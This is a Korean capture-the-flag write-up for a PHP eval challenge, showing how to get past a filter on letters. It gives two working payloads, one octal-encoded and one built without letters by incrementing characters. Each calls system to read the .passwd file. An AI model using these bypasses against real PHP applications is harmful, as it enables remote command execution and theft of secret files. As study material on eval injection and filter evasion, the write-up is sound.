PHP - Eval
문제의 source code를 읽고 .passwd file을 읽으면 된다.
source code를 읽어보면 input으로 알파벳 문자를 입력하면 Dangerous code detected로 막히게 된다.
input 부분은 다음과 같으며 입력한 값이 eval함수 를 거쳐 출력되게 된다.
문제풀이
우리가 사용할 수 있는 것은 특수문자 나 숫자 를 이용하여 풀 수 있다.
풀이 1 - 8진수 encoding
백슬래쉬와 숫자는 필터링 되어 있지 않기 때문에 8진수 encoding 을 하면 쉽게 풀 수 있다.
기본이 되는 payload는 system(cat .passwd) 를 사용하였다.
system / cat .passwd를 각각 8진수로 인코딩하여 사용하면
( (,)는 그냥 쓸 수 있으니 따로 인코딩하지 않음
각각
system = \163\171\163\164\145\155
cat .passwd = \143\141\164\40\56\160\141\163\163\167\144 이 된다.
이를 변수에 각각 대입하여
Input 값에 넣게 되면 문제를 풀 수 있다.
payload : $_="\163\171\163\164\145\155";$__="\143\141\164\40\56\160\141\163\163\167\144";$_($__)
풀이 2 -
문자와 숫자를 모두 쓸 수 없을 때 문자를 얻을 수 있는 방법이 있다.
php에서
변수에 배열을 선언함으로서 $_=[]를 하게 되면 $_엔 Array가 저장되며
$_="$_" 이 값을 문자열로 저장시켜 $_에 문자열 Array가 저장 되게 할 수 있다.
"!"=="@"는 false -> 0을 이용하여 $_['!'=='@' ] -> $_[0]에 접근할 수 있고
이를 통해서 $_의 배열에 접근하게 되면 문자 A 또는 a를 얻을 수 있다.
또한 php에서는 문자에 ++를 이용하여 문자를 증가(?)시키는 것이 가능하다.
ex) $_='a'; $_++; // a->b 감소는 되지 않는다.
이와 같은 개념들을 이용하면 문자와 숫자를 사용하지 않고 모든 알파벳 문자를 사용할 수 있게되고 문제를 푸는데에 이용 할 수 있다. (다만 번거롭다.
문제에서는 숫자를 사용할 수 있으므로 $_[3]을 이용하여 바로 소문자 a에 접근하였다.
더보기
$_=[]; $_="$_"; $_=$_[3]; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $____=$___; $___=""; $__=$_; $__++;$__++; $___.=$__; $__=$_; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=" ."; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $______=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $______.=$__; $______.=" -"; $______.=$_; $____($___);
$____ -> system $___ -> cat. passwd
위를 이용하면 문제를 해결할 수 있다.
비트연산자를 이용한 풀이방법도 있는 것 같은데 나중에 공부해봐야겠다.